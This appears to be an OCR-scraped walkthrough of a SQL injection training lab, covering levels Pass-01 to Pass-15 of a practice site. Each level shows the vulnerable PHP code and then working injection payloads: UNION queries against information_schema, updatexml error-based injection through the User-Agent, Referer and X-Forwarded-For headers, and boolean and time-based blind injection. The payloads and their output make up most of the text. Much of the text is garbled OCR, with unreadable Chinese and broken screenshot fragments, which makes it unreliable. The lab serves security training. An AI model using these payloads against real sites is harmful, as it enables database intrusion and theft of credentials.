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pass-01

$username = '';

$password = '';

@$id = $_GET['id'];

@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn, "****x'):// RAELLRNTHIE E S
$result = mysqli_query($conn,$sql);

while ($row = mysqli_fetch_array($result)){
$username = $row[ 'username’];

$password = $row[ '‘password'];

}

echo 'Your Login name:'.$username;

echo 'Your Password:'.$password;
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Your Login name:test
Your Password:mima

Copyright @ 2019 by /X,

Sources Network Performance Memaory Application Lighthouse EditThisCookie Security HackBar

53AL~> XSS~ LRI~ XXE~ Other -

2.lab.aglab.cn:81/Pass-01/index.php?id=1 order by 3 — ! @E

*II—..___

Your Login name:2
Your Password:3

Copyright @ 2019 by /X,

Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar

SQL~ XSS~ LFI~ XXE~ Other~

:ct2.lab.aglab.cn:81/Pass-01/index.php?id=1 union all select 1,2,3

ata [] Referer [] UserAgent [] Cookies Clear All

o WFEIHB: 1 and exists(select * from user) X R AT LSRR & B FAE

http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(table_name) from informa
tion_schema.tables where table_schema=database();



Your Login name:2
Your Password:error_flag,user

Copyright @ 2019 by EJX,

nsole Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar

g~ SQL~ XSS~ LFI~ XXE~ Other~

o:/finject2.1ab.aglab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();

o EflagRHFE

http://inject2.lab.aqglab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(column_name) from f.colu
mns where table_schema=database() and table_name=0x6572726f725f666c6167;
//0x6572726f725f666c6167 Zerror_flagHi1 - H#

Your Login name:2

Your Password:ld,flag

Copyright @ 2019 by X,

nsole Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar a1 ¢

g~ SQL~ XSS~ LFI~ XXE~ Other~ Hel

y/finject2.lab.aqglab.cn:81/Pass-01/index.php?id=1 union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6572726f725f666¢6167;

o Eflag /I/FHMABRET

http://inject2. lab.aqlab.cn:81/Pass-01/index.php?id=1 union all select 1,2,flag from error_flag;



Your Login name:2
Your Password:zKag-98K

Copyright @ 2019 by EJX

Console Sources Network Performance Memaory Application Lighthouse EditThisCookie Security HackEar

oding~ SQL~ XSS~ LFI~ XXE~ Other~

http://inject2.lab.aglab.cn:81/Pass-01/index.php?id=1 union all select 1,2,flag from error_flag;

pass-02
@sid = ['id'];
@ = 'select *from user where id="\"". O\
mysqli_select_db( , RN ) R NTRIE A
= mysqli_query( ,$sq1);
while ( = mysqli_fetch_array( )){
= ["username'];
= [ "password'];
}
echo 'Your Login name:"'. ;
echo 'Your Password:"'. ;

o RidESMT ARSI S, MEBE-HHAMEEASAL, RERIVSEMANRASERBTRES S, BNA#5urlg il %23
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http://inject2. lab.aqglab.cn:81/Pass-02/index.php?id=1"' union all select 1,2,flag from error_flag %23;
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Pass-02
Pass-03
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Pass-06
Pass-07 FEANEKBflag.,

pess o WEGETES, £8&HId
Pass-09

Pass-10

Pass-11

Pass-12

Pass-13

Pass-14

Pass-15

Pass-16 Your Login hame:2

Pass-17 Your Password:zKag-98K

Copyright @ 2019 by £,

ﬂ Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar

icryption ~  Encoding ~ SQL~ XSS~ LFl~ XXE~ Other ~

&l Load URL http:/finject2.lab.aglab.cn:81/Pass-02/index.php?id=1" union all select 1,2,flag from error_flag %23;
B spit URL
®) Execute [J Postdata [ Referer (] UserAgent (] Cookies Clear All
I g;;ﬂmm ~ BE 1(1)rar ~
pass-03
sername = '';

="'
@id = ['id'];
@ = 'select *from user where id="(\"". DY
mysqli_select_db( , HRERRYY ) N RNTRIE A

= mysqli_query( 5 )

while ( = mysqli_fetch_array( ) {

= ["username'];

= [ "password'];
)i
echo 'Your Login name:"'. ;
echo 'Your Password:'. :

o EBIdR'IXBEMT MES (1d°), FERBAE, FAKERETHE)EVEER)EFHAERFORSE il 2 %23

http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1") union all select 1,2,flag from error_flag %23;



Your Login name:2
Your Password:zKaqg-98K

Copyright @ 2019 by E/X,

nsole Sources Network Performance Memary Application Lighthouse EditThisCookie Security HackBar

ng~ SQL~ XSS~ LFI~ XXE~ Other~

ip:/finject2.lab.aglab.cn:81/Pass-03/index.php?id=1") union all select 1,2,flag from error_flag %23;

pass-04

@%id = ['id'];

@ = 'select *from user where id=("". MY

mysqli_select_db( , REERY ) N RITRIE A
= mysqli_query( 5 );

while ( = mysqli_fetch_array( )){

["username'];

[ "password'];

b
echo 'Your Login name:'. ;

echo 'Your Password:'.

o B3 SHZXFS

http://inject2.lab.aqglab.cn:81/Pass-04/index.php?id=1") union all select 1,2,flag from error_flag %23;



Your Login name:2
Your Password:zKaq-98K

Copyright @ 2019 by EJX],

ources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar

AL~ XSS~ LFI~ XXE~ Other~

Jab.aglab.cn:81/Pass-04/index.php?id=1") union all select 1,2,flag from error_flag %23;

pass-05

= ["username'];
= [ "password'];

= 'select *from user where username =\""'. ."\' and password=\"". O\
mysqli_select_db( , REERRR Y o R VR IR TS
= mysqli_query( 5 );
= mysqli_fetch_array( )

= ["username'];
= [ "password'];

if( )
echo 'EIhE3XYour Login name:'. .'"Your Password:"'. 5087
else{echo 'KSHMIM4IR";}

o ERARRENERM, RIMKSMEN, REHpostiE N, FlABKSE ALK S MELMER SR, &)EHlimit1,1E
AEATHRERRMNBKSEAMASLENIKSNEG, K5 HENM L@ EEX 5
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admin'or 1=1#

Your Login name:admin
Your Password:as4dsa2dsad2a3

o HlHackbardiipostiE A, #REIEE &

username=admin&password=as4dsa2dsad2a3' union all select 1,2,3 limit 1,1#
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Your Login name:2
Your Password:3

ﬂ Element Console Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar
i [ S - e —
g Load URL http://inject2.1ab.aglab.cn:81/Pass-05/index.php
§ spiit URL

) Execute

Postdata (0 Referer (J UserAgent [ Cookies Clear All

username=admin&password=as4dsa2dsad2a3’ union all select 1,2,3 limit 1,1#



o R

username=admin&password=as4dsa2dsad2a3’ union all select 1,2,group_concat(table_name) from information_schema.t
ables where table_schema=database() limit 1,1#

Your Login name:2

Your Password:flag,user

Copyright @ 2019 by EJX|

x ﬂ Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar
R Ea e - o o R o —
@) Load URL http:/finject2.lab.aqlab.cn:81/Pass-05/index.php
1 spiit URL

» ) Execute
|| Postdata (J Referer [J UserAgent (J Cookies Clear All

username=admin&password=as4dsa2dsad2a3’ union all select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() limit 1,1#

o TR

username=admin&password=as4dsa2dsad2a3’ union all select 1,2,group_concat(column_name) from information_schema.
columns where table_schema=database() and table_name='flag' limit 1,1#



Your Login name:2

Your Password:ld,flag

Copyright @ 2019 by

‘lements Console Sources Network Performance Memory Application Lighthouse EditThisCookie Security HackBar
RL http://inject2.lab.aglab.cn:81/Pass-05/index.php
RL

t
5‘ Postdata (O Referer [ UserAgent (O Cookies Clear All

username=admin&password=as4dsa2dsad2a3’ union all select 1,2,group_concat(column_name) from
information_schema.columns where table_schema=database() and table_name="flag’ limit 1,1#

o Zflag

username=admin&password=as4dsa2dsad2a3' union all select 1,2,flag from flag limit 1,1#

Your Login hame:2
Your Password:zKaQ-PostK1

Copyright @ 2019 by £JX|,

Elements Console Sources Metwork Performance Memaory Application Lighthouse EditThisCookie Security HackBar
JRL http://inject2.lab.aglab.cn:81/Pass-05/index.php

IRL

Ite

Postdata (J Referer (J UserAgent ([ Cookies Clear All

usemame=admin&password=as4dsa2dsad2a3’ union all select 1,2, flag from flag limit 1,17

pass-06



= ["username'];
= [ "password'];

= 'select *from user where username =("". .'") and password=("". MY
mysqli_select db( , RRRRkx Sy o) N RIS
= mysqli_query( 5 )
= mysqli_ fetch_array( )5

= ["username'];

= [ "password'];

if( )
echo 'BIh%EFYour Login name:'. .'Your Password:'. 29087
else{echo 'KSHMMEIR";}

o X5 S RHEMANES

username=admin&password=as4dsa2dsad2a3") union all select 1,2,flag from flag limit 1,1#

Your Login name:2

Your Password:zKaQ-PostK1

Copyright @ 2019 by EJX],

NEEF..

Elements Console Sources Metwork Performance Memory Application Lighthouse EditThisCookie Security HackBar
d URL http://inject2.lab.aglab.cn:81/Pass-06/index.php
it URL

t |
- ‘ Postdata (J Referer (J UserAgent (O CookieS/GlearA”

username=admin&password=as4dsa2dsad2a3") union all select 1,2,flag from flag limit 1,1#

pass-07



["username'];
= [ "password'];
= ['HTTP_USER_AGENT'];

= . 3

= 'select *from user where username =\""'. ."\' and password=\"". O\
if(preg_match('/.*\'.*/',$jc)!== @){die(" NTM¥zEM, FILWANEEFERS");}
mysqli_select_db( , RN S R VR A

= mysqli_query( 5 );
= mysqli_fetch_array( )

= ["username'];

= [ "password'];

if( )
= "INSERT INTO uagent ( uagent , username ) VALUES (' Ll D
= mysqli_query( B )5
print_r(mysqli_error( ))s

echo "HRINER';

o METHIE, ARFUERBEAT, FHuser_agentfheadkF# ZHEFB/AN BRI T, A LEHBEsqImap*ing, REH
R A burpBl i FE G &, HUAFHupdatexmBRIRE EETR T EERuAFEREIR, F—FMBELH, RABT

o K-S HMFERadmin123456, FEHBH, UHEM A EHITuser-agent FEIKIEH, SrowhFANZE, B B BEREE
AN, Bl EE B R R Zh

o TRERIHIA &

MAERIKSEBER

admin

admin |

Your Login name:admin
Your Password: 123456

o PHE—AEEMinsert 3 HAEH 5 —~updatexmiiR FEiEAN



'or updatexml(1,concat(@x7e,user()),1),1)#

Request Response u =le
Pretty IEITE \n  Actions w Raw Render \n Actions v

1 POST /Pass-07/index. php HTTP/1.1 72 <input type="submit” name="submit” value="%&">
2 Host: inject2. lab. aglab. cn:81 73 <fdivy

3 Content-Length: 58 T4 <fform>

4 Cache—Control: max-age=0 o = 75

5 Upgrade-Insecure-Requests: 1 IEA{METG <flir

6 Origin: http://inject2. lab. aglab. en:81 <di»

7 Content-Type: application/x-www—form-urlencoded <h3>

3 User-Agent: ' or updatexml (1, concat (0xTe, user()), 1), 1) & Frifieh 5.

9 Accept: </h3>

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, inage/ <fli>
webp, image/apng, */%;q=0. 8 application/signed—exchange;v=b3;q=0. 9 <1i>

10 Referer: http://injectZ. lab. aglab. cn:81/Pass—07/index. php 77
11 Accept-Encoding: gzip, deflate 78 XPATH syntax error: ' nf2019@10. 42. 229. 66" <1i>
12 Accept-Language: zh—CN, zh;q=0. 9 <h3>
13 Connection: close Y
14 </h3>
15 username=admin&password=123456&submit=%ET%99%BB%ES%BD%95 <f1i>
16 <font size="5" color="#99FF00">

79

80
81

o B

Your Login name:admin<br> =
Your Password:123456 M2
</font>
Ai»
<fol>
</div>y
<fdive

INSP

Quen

Body

Requ

Requ

Respc

'or updatexml(1,concat(@x7e, (select table_name from information_schema.tables where table_schema=database() limi
t 0,1)),1),1)#
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T

POST /Pass—07/index. php HITP/1.1

Host: inject2. lab. aglab. cn:81

Content-Length: 58

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://inject2. lab. aqlab. cn:Sl

Content-Type: application/x-www—-form-urlencoded

User-Agent: 'or updatexml (1, concat (0x7e, (select table_name from
information schema. tables where table schema=database() limit
0,), D, De#

Accept:

text/html, application/xhtml+xml, application/xml ;q=0. 9, inage/avif, inage/
webp, image/apng, */%;q=0. 8, application/signed-exchange;v=b3:q=0. 9
Referer: http://inject2. lab. agqlab. cn:81/Pass-07/index. php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9

Connection: close

username=admnin&password=123456&submi t="%E"%95%BE%ES%BD%S5

o HUFBAIflag

68

=1 =1
[S RN TR IE i gy

78

<div>
Password : &nbsp;&nbsp;&nbsp;
<input type="text” name="password” value="">
{fdivy
<br>
<div style=" margin-top:9px;margin-left:90px;”>
<input type="submit” name="submit” value="#f ">
{fdivy
<fTorm>»

<f1ix
<1li>
<h3>
fELE h
</h3>
</1iy
<1li>

KPATH syntax error: ' flag head' <li>
<h3>
T 5
</h3>
</1iy
<font size="5" color="#99FF00">

Vonr Troin name-admindhrs

'or updatexml(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns where table_ schema
=database() and table_name='flag head')),1),1)#



Upgrade-Insecure-Requests: 1

Origin: http://injectZ. lab. aglab. cn:81

Content-Type: application/x-www—form-urlencoded

User-Agent: 'or updatexml (1, concat (0x7e, (select

group_concat (column_name) from information_schema. columns where
table_schema=database() and table_name="flag_head )), 1), 1)#
Accept:

text/html, application/xhtml+xml, application/xmnl;q=0. 9, inage/avif, image/
webp, image/apng, */%;q=0. 8, application/signed-exchange;v=b3;q=0.9
Referer: http://inject2. lab. aglab. cn:81/Pass—07/index. php
Accept-Enceding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9

Connection: close

1
=

=
-1 =]
D Ul W LI LD

10
11
12
13
14
15
16

username=adnin&password=123456&submi t=%ET%93%BR%E5%BD%35

Password : &nbsp;&nbsp;&nbsp;
<{input type="text” name="password” value="">
<fdivy
<br>

<div style=" margin—top:9px;margin-left:90px;”>
<input type="submit” name="submit” value="%i3t">
<Sdive
</form>»

<f1i>
<1i>
<h3>»
iER e
</h3>
<f1iv
<dix

PR

¢

XPATH syntax error: ' Id, flag_hl'<li>
<h3»
B
</h3>
<fliv

"or updatexml(1,concat(®x7e, (select group_concat(flag_hl) from flag _head)),1),1)#

2 Content-Length: 58 69

4 Cache-Control: max-age=0 7

5 Upgrade-Insecure-Requests: 1

6 Origin: http://inject2. lab. aglab. cn:81 71

7 Content-Type: application/x-www—form—urlencoded 79

8 User-Agent: 'or updatexml (1, concat (0xTe, (select group concat(flag hl) 73
from flag head)),1),1)% 74

9 Accept: \ 75
text/html, application/xhtml+xml, application/xml ;q=0. 9, inage/avif, inage/ 76
webp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0.9

0 Referer: http://inject2. lab. aglab. cn:81/Pass-07/index. php

1 Accept-Encoding: gzip, deflate

2 Accept-Language: zh-CN, zh;q=0.9

3 Connection: close

4

5 username=admin&password=123456&submi t=%ET%I9%BB%ES%BD%35 77

6 78

pass-08

$username

$ POST[ 'username'];
$_POST[ 'password'];
$_SERVER[ '"HTTP_REFERER'];

$username.$password;

$password

$uagent
$ic
$sql

'select *from user where username

Password : &nbsp;&nbsp;&nbsp;
<input type="text” name="password” value="">
<fdiv>
<hr>
<div style=" margin-top:9px;margin-left:90px;”>
<input type="submit” name="submit” value="# ">
<fdiv>
</form>»

11>
<1i>
<h3>
FURTELE
</h3>
11>
<li>

=MEE

! /

XPATH syntax error: ' zKaQ-YourHd, zKaQ-Refer, zKaQ-ipi' <1i>
<h3»
L2k
</h3>
</1i>
font size="5" color="#99FF00">
Your Login name:admin<br>
Your Password:123456
</font>
<1ix

=\"'"'.$username.'\"' and password=\"'"'.$password. '\"'’;

if(preg_match('/.*\'.*/',$jc)!== 0){die( ' N T Muiat, FILMAELREENS");]}

mysqli_select_db($conn, "**¥x' ) // R IFIRES
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);

$uname = $row[ 'username'];
$passwd =
if($row){
$Insql = "INSERT INTO refer (" refer’, username’ ) VALUES ('$uagent
$resultl
print_r(mysqli_error($conn));

echo "FHRINER';

$row[ 'password’'];

mysqli_query($conn,$Insql);

', "$uname’)";



o iR head:kHuser-agentfifE AN #H K T refer

Referer: 'or updatexml(1l,concat(@x7e,(select group_concat(flag_hl) from flag_head)),1),1)#

P T R SO

@

©

1

=]

11
13
14
15

r

AosL:. LIl JecLs. 1dn. dadldn. Cl.ol DI/

Content-Length: 56 71 <div style=" margin-top:9px;margin-left:90px;”>

Cache-Control: max-age=0 72 <input type="submit” name="submit” value="% "> Req
Upgrade-Insecure-Requests: 1 73 {fdivy

Origin: http://inject2. lab. aglab. en:81 74 </form> Req
Content-Type: application/x—www—form—urlencoded 75

User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64) 76 <fliy .
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/92.0.4515. 107 <Aix f .

Safari/537. 36 <h3 )

Accept: gﬁ{%%re rli)\

Referer: 'or updatexml (1, concat (0xTe, (select group_concat(flag hl) from
flag_head)), 1), 1) & 77

text/html, application/xhtml+xnl, application/xml;q=0. 9, image/avif, image/ T3
webp, image/apng, #/%;q=0. 8, application/signed-exchange;v=h3;q=0. 9 <fli / ‘ J
<Aix

Accept-Encoding: gzip, deflate 78 XPATH svyntax error: ' zKaQ-YourHd, zKaQ-Refer, zKaQ-ipi' <1i>
Accept-Language: zh-CN, zh;q=0. 9 <h3>
Connection: close RIh S 7
</h3>
username=admin&password=123456&submi t=%ET%95%BB%ES%BD%35 <f1ir

<font size="5" color="#99FF00">
Your Login name:admin<br>
Your Password:123456

</font>

pass-09



function getip()

{
if (getenv('HTTP_CLIENT IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR"))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED"))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR"))
{
$ip = getenv('HTTP_FORWARDED_ FOR');
}
elseif (getenv('HTTP_FORWARDED"))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

$username = $_POST[ 'username'];
$password = $_POST[ 'password'];
$ip = getip();

$jc = $username.$password;

$sql = 'select *from user where username =\''.$username.'\' and password=\'"'.$password.'\"'";
if(preg_match('/.*\'.*/',%jc)!== @){die(" AT Mui%4et, ZIEMAFELEIEERS");)}
mysqli_select_db($conn, '****x' ) // NI YRR ES

$result = mysqli_query($conn,$sql);

$row = mysqli_fetch_array($result);

$uname = $row[ 'username'];

$passwd = $row[ 'password'];

if($row)q{

$Insgl = "INSERT INTO ip (" ip", username ) VALUES ('$ip', '$uname')";
$resultl = mysqli_query($conn,$Insql);

print_r(mysqli_error($conn));

echo 'BIhEFR';

o headk#ig FEAIVj H ip & X-FORWARDED-FOR, B AheadkHHHEAERK, RMEM—4

X-FORWARDED-FOR: 'or updatexml(1,concat(@x7e, (select group_concat(flag_hl) from flag head)),1),1)#



E s+ e s s

l_ ;gzzfijz;ggq;ﬁezﬁgﬁ ngfl ! 69 <input type="text” name="password” value="">
2 : 2. . .cn: ) 0 <divs
3 Content-Length: 56 / [ <£ri‘
4 Cache-Control: max-age=0 . - ” . : ”
71 <div style= —top:9px; —left:90px;”">
5 X-FORWARDED-FOR: 'or updatexml (1, concat (0xTe, (select ‘Tf\ i;nsu{ :ypeE?Ziiy;itgpnaizﬁzziirilt”evaluegiﬁ?‘”>
group_concat (flag_hl) from flag_head)), 1), ) # j,g Hdivs o
6 Upgrade-Insecure—-Requests: 1 74 < fform>
7 Origin: http://inject2. lab. aglab. cn:81 -
3 Content-Tvype: application/x—www—form-urlencoded 76 10>
9 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64) ‘ e
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/92.0.4515. 107 RN
Safari/537. 36 Pt
10 Accept: </h3> HAS
text/html, application/xhtml+xnl, application/xml:q=0. 9, inage/avif, inage/ > /
webp, image/apng, */%;q=0. 8, application/signed-exchange;v=b3;q=0. 9 s + ‘
11 Referer: 7
S/ inject? : —09/1 ?action= - R
. Rzzzag%:ii;?;‘g%al;'z?glagé;;g’jgpasS 09/index. php?action=show_code 78 XPATH syntax error: ' zKaQ-YourHd, zKaQ-Refer, zKaQ-ipi’ <1i>
- . : <h3>
12 Accept-Language: zh-CN, zh;q=0.9 B
1% Connection: close h>
2 .
- o L e <1ix
16 username=admin&password=123456&subnit=%E"%39%EB%ES%ED%I5 <Font size="5" color="#99FF00">
Your Login name:admin<br>
Your Password:123456
<ffont>
<11
79 <fol>
. PR

pass-10

$news ="";
@%id = $_GET['id'];
@%$sql = 'select *from news where id='.$id;

mysqli_select_db($conn, "****');// NAELEARATHIE A4
$result = mysqli_query($conn,$sql);

while ($row = mysqli_fetch_array($result)){

$news = $row[ 'news'];

}
if($news!== ""){
echo '"FHUE";}

lengthf %

length(FZRHFENE)

ENMRBFERARNRAZFFEKEH, EEEHRARAN L EANZFERE, flnEEEL, RENKE.
substrif -

SUBSTR(FFF e N2, \IER B, BN Z K )

BT a87fre, KBERFBESEIRES, BAASCIREIR A 2R/ B KA H 4 75/
asciith #:

ascii(BEANFR)

BB FRFiasciif, K FRAFERNET, BFFREEARNET, WA T RN BRI REAT R/ EBE, AT Sk 34 BT 1 1 )
RN

* St Hlength Wi $U47 FE 4



Copyright @ 2019 by EJX|,

nents Console Sources Metwiork Performance Memory Application Lighthouse EditThisCookie HackBar

Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

http://inject2.lab.aglab.cn:81/Pass-10/index.php?id=1 and length(database())>12)

[0 Postdata (J Referer [J User Agent [(J Cookies Clear All

Pass-10
Pass-11
Pass-12
Pass-13
Pass-14
Pass-15
Pass-16
Pass-17

Copyright @ 2019 by EJX.

& ﬂ Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

Encryption v Encoding~ SQL~ XSS~ LFI~ XXE~ Other~
& Load URL htp:/finject2.lab.aglab.cn:81/Pass-10/index.php?id=1 and length(database())=12 ;ﬂ}E |$-|;/( |§_ﬂ9 12
1 split URL

» ) Execute

[ Postdata [ Referer [J User Agent (J Cookies Clear All

o fsubstr A2 — AN 4 1asciif IF 46 H it g A4



Pass-08
Pass-09
Pass-10
Pass-11
Pass-12
Pass-13
Pass-14
Pass-15
Pass-16
Pass-17

NZREHTGETES, £28Kkid

Copyright @ 2019 b

Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

ption + Encoding v SQL~ XSS~ LFI~ XXE~ Other~

rad URL http:/finject2.lab.aglab.cn:81/Pass-10/index.php?id=1 and ascii(substr(database(),1,1))>1 A—

plit URL

xecuts
recuie [0 Postdata (O Referer [J User Agent [J Cookies Clear All

MIZhEHTGETES, £28 A8id

Copyright @ 2019 by

nts Console Sources MNetwork Performance Memory Application Lighthouse EditThisCookie HackBar

Encoding~ SQL~ XSS~ LFl~ XXE~ Other~ - 1 07

XFRZRYEK

hitp://inject2.lab.aqlab.cn:81/Pass-10/index php?id=1 and ascii(substr(database(),1,1))4107

[J Postdata [J Referer [ UserAgent [ Cookies Clear All

o WERFHIMburpREA, 12FFFHR



rayiudu rusiuuins

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full det:

Attack e: | Cluster bomb
typ I *_____-‘_‘
GET /Pass—10/index. php?id=1%20and%20ascii (substr(database(), §1§,1))=§ 107 § HITP/1.1
Host: injectZ. lab. aglab. cn:81
Upgrade-Insecure-Requests: 1
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515. 107 Safari/53"
Accept: text/html, application/xhtml+xml, application/xml:q=0.9, image/avif, image/webp, image/apng, */*:q=0. &, application/signed-
Referer: http://injectZ. lab. aglab. cn:81/Pass-10/index. php?id=1%20and%20ascii (substr(database(), 1, 1)) =107
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0. 9
Connection: close

—

[S%]

=1 @ L o=

[{=lvs]

—_
=]

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions t

Payload set: l 1 VI Payload count: 12

Payload type: [ Numbers e l Request count 0

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: 0 sequential Random

From: 1 |
To: 12 |
Step: K |
How many:

MNumber format

Raca: M naorima Haw



You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payloac

Payload set: [ 2 Vl Payload count: 127

Payload type: [ Numbers v l Request count: 1,524

3 Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range
Type: o Sequential Random 7{EASC I Iﬁg%k

From: | 1

| -
To: ‘ 127 /
Step: | ‘1| |
How many:

Number format
Base: o Decimal Hex

Min integer digits:

Max integer digits: I:l

Request Payload1 Payload2 Status Error Timeout Length
1438 10 120 200 3198
1259 11 105 200 3198

-(( 1164 12 a7 200 3197
111420 4 119 200 3197
1325 5 111 200 3197
1327 7 111 200 3197
1311 3 110 200 3197
1 1316 8 110 200 3197
01290 & 108 200 3197
Cl1273 1 107 200 3197
1233 9 103 200 3197
0 200 3197
it 1154 2 a7 200 3196
31
Request Response

o 1 A1 21 I FF i asciifd B T ik & iy

107 97 110 119 111 108 111 110 103 120 105 97

o TR T, EBRRERsqmapiff, Fh pythonIAER RS



@%id = 'id"

@ = 'select *from news where id="". L
mysqli_select_db vrkkk ) s /) PHUERNTAIE E S
= mysqli_query
while = mysqli_fetch_array
= "news'
if Jes °F
echo 'HHHE"

o FEMEB—E—HHERTEMANEI SN REMMNERR /23thst 2 #

= 'username’
= "password’
= 'select *from user where username =\'". ."\" and password=\""
mysqli_select_db vRRRKARR ) S ) TR E VIR IES

= mysqli_query
= mysqli_fetch_array
= 'username’

= 'password’
if

echo 'FRINEF'

else{echo 'IKk5HIEIER"

o BTAMESHR, BREEFE



Cache-Control: max-age=0 <i£;
Upgrade-Insecure-Requests: 1
Origin: http://injectZ. lab. aglab. cn:81 -

: . 78 <lir
Content-Type: application/z—www—form—urlencoded <h3>

-1 ol

8 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Rt g
AppleWebKit/537. 36 (KHIML, like Gecko) Chrome/SZ.0.4515. 107 </hay B
Safari/537. 36 <>

[i=}

Accept: <1i>
text/html, application/xhtml+xml, application/xml ;q=0. 9, image/avif, image/

79 fol>
webp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 9 éO </d{:>
10 Referer: http://inject2. lab. aglab. cn:81/Pass-12/index. php 81

11 Accept-Encoding: gzip, deflate Hdivs
12 Accept-Language: zh-CN, zh;q=0.9

- 183 <div id="footer”>
12 Connection: close
84 <center>
H . . Copyright&nbsp;@nbsp: 2019&nbsp; bv&nbsp; &M< /a>
15 username=admin&password=123" or {feenters
ascii (substr(database(), 1, 1)) >105k&submi t=%E7%99%BR%ES%BD%I5 85 divy
86 <div class="mask”>
<fdivy
87 <div class="dialog”>
38 <div class="dialog-title”>
$2&nbsp; 7x<a href="javascript:void(0)” class="close” title=
<fdivy
89 <div class="dialog-content”>
<fdivy
90 <Sdivy

pass-13

$news ="";
@%id = $_GET['id'];
@%$sql = 'select *from news where id="'.$id.'"";

mysqli_select_db($conn, "****');// FHLFIRNTAIE 4
$result = mysqli_query($conn,$sql);

while ($row = mysqli_fetch_array($result)){

$news = $row[ ‘news'];

¥

echo 'BFHUE";

o I 1A)E ¥ AW 7 SRR AR 2R B i O — b



BREEFRSQUENER x o+ o - X

‘ & TR T R SR R HETE i D

2 WA @ WASEQ |Palmito.. @ YouTube @ 1(7)jpg (28x28) M Gmail BF it @ YouTube BF it EEER A FNBE-ERTR. M Gmal W Twiter — B&. @ FHiEFEER » | B EsEn

B EREANKSBlag,

of FE
MZRAREHTCETESE, £2FAid

Pass-12
Pass-13
Pass-14

-15

FESFARNEES... 3
[® @] @ Elements Console  Sources Network  Performance ~ Memory  Application  Lighthouse  EditThisCookie  Security HackBar o1 B1 | @& : X
Encryption v Encoding~ SQL~ XSS~ LFlv XXE~ Other~ Help!
@ Load URL http:/finject2.lab.aglab.cn:81/Pass-13/index.php?id=1" and sleep(5)%23
@ spit URL

Execut
“ Postdata (J Referer (J UserAgent ([J Cookies Clear All

(1)~ if(FAE, WRZMRRE, 72 H E §R E)
(2)- sleep(X): FRERXH

o CHIWTHUE R R

Copyright @ 2019 by EJX,

ile Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

~ SQL~ XSS~ LRI~ XXE~ Other~

inject2.1ab.aglab.cn:81/Pass-13/index.php?id=1" and if(length(database())=12,sleep(1),1)%23

\..

stdata (] Referer [ UserAgent (] Cookies Clear All



o W FE i) fE F substrflascii

1" and if(ascii(substr(database(),1,1))>1,sleep(1),1)%23

MZTEHTGETRSZ, F2FAid

lements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

RL http:/finject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and if(ascii(substr(database(),1,1))>1,sleep(1),1)%23

3L

t
N [ Postdata [J Referer (J UserAgent [ Cookies Clear Al

o B, REMNAm/REER—FEHIHRME, BEEFEERT

pass-14

$news ="";

@%id = $_GET['id'];

@%sql = 'select *from news where id=(\''.$id.'\")";
mysqli_select_db($conn, "****x');// FAELEARATHIE 4
$result = mysqli_query($conn,$sql);

while ($row = mysqli fetch array($result)){

$news = $row[ 'news'];

)i

echo '"BHE";

o M LEM—HE—HE, BRT"XUGSHR)

http://inject2.lab.aqlab.cn:81/Pass-14/index.php?id=1") and if(ascii(substr(database(),1,1))>1,sleep(5),1)%23

pass-15

$username = '';

$password = '';

@$id = addslashes($ GET['id']);

@%$sql = 'select *from user where id=\''.$id.'\"'";

mysqli_select_db($conn, "**xx');// NAELEARNTHIE E 4
mysqli_query($conn,"SET NAMES gbk");

$result = mysqli_query($conn,$sql);

while ($row = mysqli_fetch_array($result)){
$username = $row[ 'username'];

$password

}

echo 'Your Login name:'.$username;

$row[ 'password’'];

echo 'Your Password:'.$password;



